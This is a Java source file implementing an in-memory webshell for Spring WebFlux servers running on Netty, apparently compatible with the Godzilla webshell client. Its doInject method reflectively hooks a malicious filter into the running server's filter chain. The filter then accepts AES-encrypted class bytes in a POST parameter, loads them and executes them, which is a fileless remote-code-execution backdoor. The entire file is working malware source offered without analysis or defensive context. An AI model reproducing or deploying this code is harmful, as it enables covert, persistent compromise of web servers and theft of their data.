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| package com.example.webfluxmem;
import org.springframework.boot.web.embedded.netty.NettyWebServer;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.server.WebHandler;
import org.springframework.web.server.adapter.HttpWebHandlerAdapter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.ExceptionHandlingWebHandler;
import org.springframework.web.server.handler.FilteringWebHandler;
import reactor.core.publisher.Mono;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
public class WebFluxFilterMemshell implements WebFilter {
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static Object getFieldValue(Object obj, String fieldName,boolean superClass) throws Exception {
Field f;
if(superClass){
f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
}else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
return f.get(obj);
}
public static String doInject() {
String msg = "Inject MemShell Failed";
Method getThreads = null;
try {
getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
Object handler= getFieldValue(defaultWebFilterChain,"handler",false);
List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0,new WebFluxFilterMemshell());
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
Field f = filteringWebHandler.getClass().getDeclaredField("chain");
f.setAccessible(true);
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(filteringWebHandler,newChain);
modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
msg = "Inject MemShell Successful";
}
}
} catch (Exception e) {
e.printStackTrace();
}
return msg;
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
return exchange.getResponse().writeWith(getPost(exchange));
}
private Mono<DefaultDataBuffer> getPost(ServerWebExchange exchange){
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
Mono<DefaultDataBuffer> bytesdata = formData.flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
}
catch (Exception e) {
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
return bytesdata;
}
}
|
